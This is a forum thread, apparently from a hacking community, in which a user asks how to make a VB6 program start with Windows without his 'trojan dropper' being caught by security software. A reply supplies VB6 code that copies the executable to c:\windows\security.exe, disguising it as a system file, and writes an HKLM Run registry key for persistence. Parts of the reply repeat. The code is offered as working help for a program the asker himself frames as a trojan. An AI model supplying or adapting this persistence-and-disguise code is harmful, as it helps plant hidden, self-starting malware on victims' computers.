Hello guys!
Im making my new programm using VB6!
But.. i need to make it start everytime when windows starts.. So what is best/easiest way to make it start everytime? (Not binding.. some security programs can see the "trojan dropper" if i bind it with some binder program.)
So what is the best way to do it?
Sorry for spending your time!
Help with autostarting!
here is how its done just in case
you didn't get what i said
add this code to a module
im not guna say what its for that will be in the tut that i write
now add this to your vb project
again im not guna say what its for that will be in the tut that i write
this is mainly floodhound2's code i just changed it a bit
hope this helps
you didn't get what i said
add this code to a module
Code: Select all
Public Sub RegRun(Path As String, Keyname As String)
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & Keyname, Path
End Sub
now add this to your vb project
Code: Select all
Private Sub Form_Load()
Dim p As String
Dim file As String
p = App.Path & "\" & App.EXEName & ".exe"
file = "c:\windows\security.exe"
If p <> file Then
FileCopy App.Path + "\" + App.EXEName + ".exe", file
RegRun file, "Testkey"
End If
End Sub
this is mainly floodhound2's code i just changed it a bit
hope this helps